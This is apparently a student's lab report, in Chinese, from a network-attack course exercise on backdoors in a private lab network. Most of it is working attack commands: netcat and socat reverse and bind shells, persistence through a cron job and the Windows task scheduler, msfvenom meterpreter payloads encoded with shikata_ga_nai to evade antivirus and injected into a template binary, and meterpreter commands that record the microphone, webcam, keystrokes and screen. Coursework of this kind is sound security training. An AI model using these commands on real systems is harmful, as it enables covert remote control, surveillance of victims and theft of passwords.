2019-2020-2 20175205侯穎《網絡對抗技術》Exp2 后門原理與實踐
1. 實驗內容明及預備知識
一、實驗內容
-
任務一:使用netcat獲取主機操作Shell,cron啟動 (0.5分)
-
任務二:使用socat獲取主機操作Shell, 任務計划啟動 (0.5分)
-
任務三:使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell(0.5分)
-
任務四:使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權 (2分)
二、基礎問題回答
- 例舉你能想到的一個后門進入到你系統中的可能方式?
- 在非官網下載應用程序時,可能會捆綁一些其他軟件,以此在系統中留后門。
- 例舉你知道的后門如何啟動起來(win及linux)的方式?
- Win:設置開機自啟動項、修改注冊表
- Linux:通過本實驗的
crontab
將其設置為定時啟動;對正常軟件注入shellcode
- Meterpreter有哪些給你映像深刻的功能?
- 在主機植入后門后,可以直接控制主機的shell,甚至錄音、錄像等,通過鍵盤輸入記錄,可以輕松獲取口令密碼等信息
- 如何發現自己有系統有沒有被安裝后門?
- 安裝殺毒軟件,定時對系統進行檢測
- 打開防火牆,查看是否有異常端口
2. 常用后門工具實踐
任務一:Windows獲得Linux Shell
1、 Windows:使用ipconfig
指令查看本機IP:192.168.62.1
2、 使用ncat.exe程序監聽本機的5205
端口
3、 在Kali環境下,使用nc
指令的-e
選項反向連接Windows主機的5205
端口
4、 成功獲得Kali的shell,如下圖所示
任務二:Linux獲得Windows Shell
1、 在Kali環境中使用ifconfig
查看IP:192.168.62.15
2、 使用nc
指令監聽5205
端口
3、 在Windows下,使用ncat.exe程序的-e選項項反向連接Kali主機的5205端口
4、 Kali下可以看到Windows的命令提示,可以輸入Windows命令
任務三:使用nc傳輸數據
1、 Windows下監聽5205端口
2、 Kali下連接到Windows的5205端口
3、 建立連接之后,就可以傳輸數據了
4、 使用nc傳輸文件(Kali->Windows)
- Windows下監聽5205端口,並把收到的數據保存到file1.out中,
ncat.exe -l 5205 > file1.out
- kali反彈連接到Windows的5205端口,
nc 192.168.62.1 5205 < file1.txt
- 連接建立成功,kali可以收到Windows發來的文件
3. Meterpreter
- 后門就是一個程序。
- 傳統做法是:有人編寫一個后門程序,其他人拿來用。
- 升級做法是:編寫一個平台能生成后門程序
- 基本功能(基本的連接、執行指令)
- 擴展功能(搜集用戶信息、安裝服務等)
- 編碼模式
- 運行平台
- 以及運行參數
- 全部做成零件或者可調整的參數,用的時候直接組合,生成一個可執行文件即可。
- 典型的平台包括
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
- 學習如何使用msfvenom生成后門可執行文件Meterpreter
- 參數說明
-p
使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這里windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中。-e
使用的編碼器,用於對shellcode變形,為了免殺。-i
編碼器的迭代次數。如上即使用該編碼器編碼5次。-b
badchar是payload中需要去除的字符。LHOST
是反彈回連的IPLPORT
是回連的端口-f
生成文件的類型>
輸出到哪個文件
4. 實驗步驟
任務一:使用netcat獲取主機操作Shell,cron啟動
1、 在Windows系統下,監聽5205
端口
2、 在Kali環境下,用crontab -e
指令編輯一條定時任務
crontab
指令增加一條定時任務-e
表示編輯- 選擇編輯器時選擇3
3、 在最后一行添加15 * * * * /bin/netcat 192.168.62.1 5205 -e /bin/sh
意思是,每個小時的第15分鍾反向連接Windows主機的5205端口
4、 當時間到了11點15時,此時已經獲得了Kali的shell,可以輸入指令
任務二:使用socat獲取主機操作Shell, 任務計划啟動
1、 預備知識:
socat
是ncat
的增強版,它使用的格式是socat [options] <address> <address>
,其中兩個address是必選項,而options 是可選項。socat
的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數address
就是代表了其中的一個方向。所謂流,代表了數據的流向,而數據則可以有許多不同的類型,命令中也就相應需要許多選項對各種不同的類型數據流進行限定與說明。
2、 Win+R
輸入compmgmt.msc
打開“計算機管理”
3、 在“任務計划程序”中“創建任務”
4、 填寫任務名稱,並新建一個觸發器
5、 在操作->新建->程序或腳本中選擇你的socat.exe
文件的路徑,在添加參數一欄填寫tcp-listen:5205 exec:cmd.exe,pty,stderr
,這個命令的作用是把cmd.exe
綁定到端口5205
,同時把cmd.exe
的stderr
重定向到stdout
上:
6、 創建完成之后,按Windows+L
快捷鍵鎖定計算機,再次打開時,可以發現之前創建的任務已經開始運行
7、 此時,在Kali環境下輸入指令socat - tcp:192.168.62.1:5205
- 這里的第一個參數
-
代表標准的輸入輸出 - 第二個流連接到Windows主機的
5205
端口 - 此時可以發現已經成功獲得了一個cmd shell
任務三:使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
1、 在Kali上執行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.15 LPORT=5205 -f exe > 20175205_backdoor.exe
- IP地址為控制端IP,即Linux的IP
- 生成了后門程序:
20175205_backdoor.exe
2、 通過ncat.exe -lv 5205 > 20175205_backdoor.exe
指令將被控制主機進入接受文件模式
3、 在Linux中執行nc 192.168.62.1 5205 < 20175205_backdoor.exe
,注意這里的IP為被控主機IP,即WindowsIP
4、 傳送接收文件成功
5、 在Kali上使用msfconsole
指令進入msf控制台
- 輸入
use exploit/multi/handler
使用監聽模塊,設置payload set payload windows/meterpreter/reverse_tcp
,使用和生成后門程序時相同的payloadset LHOST 192.168.62.15
,這里用的是LinuxIP,和生成后門程序時指定的IP相同set LPORT 5205
,同樣要使用相同的端口
6、 設置完成后,執行監聽
7、 運行Windows下的后門程序
8、 此時Kali上已經獲得了Windows主機的連接,並且得到了遠程控制的shell
任務四:使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容
1、 使用record_mic
指令可以截獲一段音頻
2、 使用webcam_snap
指令可以使用攝像頭進行拍照
效果如下:
3、 使用keyscan_start
指令開始記錄下擊鍵的過程,使用keyscan_dump
指令讀取擊鍵的記錄
4、 使用screenshot
指令可以進行截屏
效果如下:
任務五:可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
1、 在實驗指導書中:
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
2、 在參數說明中提到,-p
使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這里windows/meterpreter/reverse_tcp
就是一段shellcode。實驗一的pwn1在linux下運行,因此代碼改為
msfvenom -p linux/meterpreter/reverse_tcp····
3、 -x
使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中,因此將該文件修改為pwn1
,因此代碼變成
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1···
4、 修改LHOST、LPORT
為Kali的ip地址和端口,因此代碼變成
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.62.15 LPORT=5205···
5、 -f
生成文件的類型,使用file pwn1
得知pwn1的文件類型是elf
,因此代碼調整為
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.62.15 LPORT=5205 -f elf···
6、 >
輸出到哪個文件,將最后生成的文件改為pwn5,代碼調整為
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.62.15 LPORT=5205 -f elf > pwn5
7、 報錯Error: invalid payload: linux/meterpreter/reverse_tcp
,通過查詢資料得知應為
msfvenom -p linux/x86.meterpreter···
8、 好不容易改了一個錯誤,又發現了一個編碼問題,Error: incompatible character encodings: UTF-8 and ASCII-8BIT
,然后我將代碼涉及到編碼的參數-i -b
都刪掉,變為如下形式就不報錯了
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.62.15 LPORT=4444 -x pwn1 -f elf > pwn5
9、 任務三進行監聽,然后運行pwn5,得到正確運行結果
5. 實驗中遇到的問題及解決方法
Q1:bash: ifconfig:未找到命令
,因此就使用該命令下載sudo apt-get install net-tools
,但是結果仍找不到命令
A1:
- 首先查看ifconfig命令在那個目錄下,順便檢查是否安裝了這個命令;
whereis ifconfig
- 然后查看PATH中是否包含了這個目錄,一般情況下是不包含的,只要添加進去就可;
echo $PATH
- 添加路徑,之后就可以正常使用了。
export PATH=$PATH:/sbin
Q2:msfconsole啟動失敗cannot load such file -- bundler/setup
A2:據網上資料可知這是由於bundler版本不一致所造成的,所以需要重新找來1.17.3版本
使用命令:gem install bundler:1.17.3
(若無法下載,改用su)
6. 實驗總結及體會
通過本次實驗我明白了后門的基本原理,按照老師的教程和學長學姐的博客一步步完成實驗。感覺本次實驗更加刺激有意思,了解到后門的厲害,但是也同時感到闊怕,有可能自己的電腦早就被植入好多個后門了,入侵過無數次,因此我們平時也要多注意網上安全,留意惡意程序。